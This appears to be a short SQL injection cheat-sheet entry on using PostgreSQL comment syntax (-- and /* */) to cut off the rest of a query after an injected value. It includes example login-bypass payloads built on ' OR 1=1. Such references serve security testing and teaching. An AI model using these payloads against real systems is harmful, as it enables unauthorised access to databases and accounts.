postgresql

Comment Out Query

Techniques for commenting out the remainder of SQL queries in PostgreSQL

The following methods can be used to comment out the rest of a query after your injection:

Comment SyntaxDescription
--SQL line comment
/* */C-style block comment

Examples

SELECT * FROM Users WHERE username = '' OR 1=1 --' AND password = '';
SELECT * FROM Users WHERE username = '' OR 1=1 /*' AND password = ''*/;

Notes

  • PostgreSQL uses standard SQL comment syntax
  • The -- comment extends to the end of the line
  • Block comments /* */ can be nested in PostgreSQL (unlike some other databases)
  • The # hash comment (used in MySQL) does NOT work in PostgreSQL